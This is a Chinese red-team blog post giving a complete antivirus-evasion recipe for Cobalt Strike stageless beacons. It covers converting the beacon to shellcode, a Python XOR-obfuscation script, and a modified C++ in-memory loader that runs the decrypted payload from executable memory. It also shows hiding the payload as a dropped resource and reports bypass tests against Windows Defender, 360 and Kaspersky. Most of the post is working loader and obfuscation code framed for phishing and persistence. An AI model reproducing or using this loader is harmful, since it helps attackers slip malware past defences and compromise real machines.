奇安信Z-Team技术博客

技术源于分享,但不止于分享

0%

内存加载CS-Stageless进行免杀

1.前言

​ 在红队评估中,木马的免杀效果往往决定了一次完美的钓鱼的成功与否,当然这里不仅仅是钓鱼,木马是我们最常用的一种权限维持的手段。而cs生成木马免杀更是老生常谈的话题,cs 生成的shellcode ,最常用的免杀手段就是,加载器和shellcode分离,在过静态一直保持着较高的成功免杀概率。

​ 为啥说免杀概率?总所周知,免杀一直都有着很玄学的色彩,当然这也是和杀软复杂的检测机制有关,主要是杀软都是不开源的,我们测试免杀性都是通过黑盒测试,只能一个个去试,去猜测免杀机制!

​ cs前置的shellcode是很好免杀的,通过加密解密,加载器分离的方式是很轻松免杀的,但是在常和杀软作对抗,逐渐发现,杀软主要特征定位在前置shellcode下载回来大的beacon,这个特征我们除非去魔改生产beacon文件的dll文件,不然无法有效的去除这一特征。

​ 但是前段时间我接触了pe内存加载技术,所以我在想能不能直接写一个内存加载器然后直接加载生成的stageless,而不用前置的shellcode去下载大的beacon回来,这样能逃过一些特征,内存加载不是新技术,因为我们是时常接触到c#内存加载.net程序,这里我们改用c++实现内存加载。

2.实现

首先我们找到了github上面的一个项目:https://github.com/hasherezade/pe_to_shellcode

通过作者的描述很清楚,它的作用就是把pe文件转换成可在内存执行的shellcode,这和我们的需求比较相像。

1.首先是把我们cs生成的stageless exe文件转换成可在内存执行的shellcode

1
pe2shc.exe beacon.exe

/attach/image/image-20210802130856649

看似不支持TLS callbacks,但是实际上问题不大,生成的beacon.shc.exe是可以直接点击运行的,当然也可以通过项目所带的runshc64.exe加载执行。

/attach/image/image-20210802142031811

如果用项目自带的免杀效果就可以止步于此了,但是为了提高可用行,必须得加点自己的东西进去。

2.把转换好的exe文件转换成16进制shellcode

使用的工具是bin2hex.exe,当然你也可以用其他工具,winhex直接复制也行。

1
bin2hex.exe --i beacon.shc.exe --o beacon_hex.txt

/attach/image/image-20210802142815754

虽然现在可以直接读取txt文件中的16进制来加载,有一定免杀效果,但是我们还是自己加密一下。

3.加密16进制,我这里采用使用异或加密的方式,我只提供一个思路

为了方便,我直接写了个python脚本来进行异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import random
class ShellCode_Xor():

def __init__(self):
self.shellcode_list = []
self.create_two_random()
self.read_file()
self.xor_shellcode()
# self.write_minikatz_shellcode_file()

def create_two_random(self):
while(1):
self.key1 = random.randint(100, 1000)
self.key2 = random.randint(100,1000)
if self.key1 != self.key2:
break

def create_file_name(self):
string = "abcdefghijklomnopqrstuvwxyz123456789"
str_Variables = ""
for i in range(random.randint(3, 24)):
rand_int = random.randint(0, len(string) - 1)
str_Variables += string[int(rand_int)]
return str_Variables

def read_file(self):
tmp_list = []
with open("beacon_hex.txt","r",encoding="utf-8") as f:
for shellcode in f.readlines()[::1]:
tmp_list = shellcode.strip().split(",")
for i in tmp_list:
tmp_list[tmp_list.index(i)] =i.replace("0x","").replace(" ","")
if "" == i:
tmp_list.remove(i)
self.shellcode_list.extend(tmp_list)

def xor_shellcode(self):
self.xor_result = []
print("key1:" + str(self.key1) + "\n" + "key2:" + str(self.key2))
for hex_str in self.shellcode_list:
hex_int = int(hex_str, 16)
xor1_shellcode = hex_int ^ self.key1
xor2_shellcode = xor1_shellcode ^ self.key2
self.xor_result.append(xor2_shellcode)

self.shellcode_len = len(self.xor_result)
print(len(self.xor_result))
shellcode_str = ""

for shellcode in self.xor_result:
shellcode_str += str(shellcode)+" "
with open("shellcode_Xor_result.txt","w",encoding="utf-8") as f:
f.write(shellcode_str)

if __name__ == '__main__':
test= ShellCode_Xor()

会生成一个异或好的文件。

4.改造runshc64.exe

以前的runshc64.exe已经不适用了,需要我们改造一下,让他能直接读取16进制并进行异或还原,并加载,直接去掏一首源码然后改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <windows.h>
#include <iostream>

#include <peconv.h>

int main(int argc, char *argv[])
{
if (argc < 2) {
std::cout << "~ runshc ~\n"
<< "Run shellcode: loads and deploys shellcode file.\n";
#ifdef _WIN64
std::cout << "For 64-bit shellcodes.\n";
#else
std::cout << "For 32-bit shellcodes.\n";
#endif
std::cout << "Args: <shellcode_file>" << std::endl;
system("pause");
return 0;
}

size_t exe_size = 0;
char* in_path = argv[1];

std::cout << "[*] Reading module from: " << in_path << std::endl;
BYTE *my_exe = peconv::load_file(in_path, exe_size);
if (!my_exe) {
std::cout << "[-] Loading file failed" << std::endl;
return -1;
}
BYTE *test_buf = peconv::alloc_aligned(exe_size, PAGE_EXECUTE_READWRITE);
if (!test_buf) {
peconv::free_file(my_exe);
std::cout << "[-] Allocating buffer failed" << std::endl;
return -2;
}
//copy file content into executable buffer:
memcpy(test_buf, my_exe, exe_size);

//free the original buffer:
peconv::free_file(my_exe);
my_exe = nullptr;

std::cout << "[*] Running the shellcode:" << std::endl;
//run it:
int (*my_main)() = (int(*)()) ((ULONGLONG)test_buf);
int ret_val = my_main();

peconv::free_aligned(test_buf, exe_size);
std::cout << "[+] The shellcode finished with a return value: " << std::hex << ret_val << std::endl;
return ret_val;
}

源码是这样的,从开头的导入模块来看,导入了一个peconv.h头文件,我们继续追踪这个头文件,看有哪些依赖项

在github项目中,它的头文件定义在这个目录

/attach/image/image-20210802145401013

直接给下载下来,新建项目,然后添加依赖,定义,实现,编译。

/attach/image/image-20210802145732532

/attach/image/image-20210802145919858

编译成功了,看来没啥问题,最好把编译好的exe,进行测试一下,看是否能用。

然后就可以开始魔改了,直接冲,反观源代码,里面有很多东西我们都是不用的,直接删除大部分东西,加上自己的东西

代码参考:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <windows.h>
#include <iostream>
#include <peconv.h>
#include <fstream>
using namespace std;

int main(int argc, char *argv[])
{
size_t exe_size = 962918;
unsigned short int * hex_code_p = new unsigned short int[962918];
unsigned char * xor_xcode = new unsigned char[1196315];
unsigned xor_key1 = 601;
unsigned xor_key2 = 155;

int datalen = 0;
ifstream file("shellcode_Xor_result.txt");
while (!file.eof())
file >> hex_code_p[datalen++];
file.close();

for (int i = 0; i < exe_size; i++)
{
unsigned int a = hex_code_p[i] ^ xor_key2;
a = a ^ xor_key1;
a = (a % 256) & 0xFF;
xor_xcode[i] = a;
//printf("%02x", xor_xcode[i]);
}

BYTE *test_buf = peconv::alloc_aligned(exe_size, PAGE_EXECUTE_READWRITE);
if (!test_buf) {
std::cout << "[-] Allocating buffer failed" << std::endl;
return -2;
}
//copy file content into executable buffer:
memcpy(test_buf, xor_xcode, exe_size);

std::cout << "[*] Running the shellcode:" << std::endl;
//run it:
int(*my_main)() = (int(*)()) ((ULONGLONG)test_buf);
int ret_val = my_main();

peconv::free_aligned(test_buf, exe_size);
std::cout << "[+] The shellcode finished with a return value: " << std::hex << ret_val << std::endl;
return ret_val;
}

/attach/image/image-20210802153919447

![/attach/image/image-20210802153952458](/Users/chenzhiyong/Library/Application Support/typora-user-images//attach/image/image-20210802153952458.png)

加载上线完全没问题嗷,但是一个存放shellcode的txt文件,感觉有点难受,因为shellcode偏大,不适合用数组的方式存放。

5.把txt文件添加入资源,通过释放资源的方式来进行加载,加载完就删

右键项目,添加-》资源-》导入

/attach/image/image-20210802155559972

选择资源类型,然后ctrl+s保存

/attach/image/image-20210802155802850

可以在自动添加的“resource.h”头文件中看到资源ID宏

/attach/image/image-20210802160023123

释放资源代码参考:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
BOOL Release_resources(CHAR* szResourceType, CHAR* szFileName)
{
// 找到资源
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_TESTRES1), szResourceType);
// 获取资源大小
DWORD dwSize = SizeofResource(NULL, hRsrc);
// 载入资源
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
// 锁定资源,并返回指向资源第一字节的指针--
LPVOID lpRes = LockResource(hGlobal);
HANDLE hFile = CreateFile(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwWriten = 0;
BOOL bRes = WriteFile(hFile, lpRes, dwSize, &dwWriten, NULL);
CloseHandle(hFile);
CloseHandle(hGlobal);
CloseHandle(hRsrc);
return TRUE;
}

我的代码写的是会在同一目录下释放一个txt文件。

/attach/image/image-20210803134548753

这里我也成功上线了,测试免杀效果,最新的windows-defender

/attach/image/image-20210803135321611

火绒加360全家桶

/attach/image/image-20210803140124552

膨胀了,膨胀了,我要测试卡巴,资金有限只能测试免费版。

/attach/image/image-20210803141425235

效果还不错!

3.思考与改进之处

1.pe加载器固然好,上线没问题,但是不保证你执行命令不被标记为木马,因为像卡巴这种主要是启发式扫描强,你不去执行任何操作,过静态很好过的,但是你去执行操作就有另一个故事了。

2.这次我用的是疑惑加密,其实最好的还是用AES这些商用的加密算法比较好。

3.把异或好的shellcode放入资源,然后再释放,可能还是会存在一些行为,毕竟这是木马常用的手段。

4.pe加载器还可以不断提取,优化,做到定制化的生成木马工具。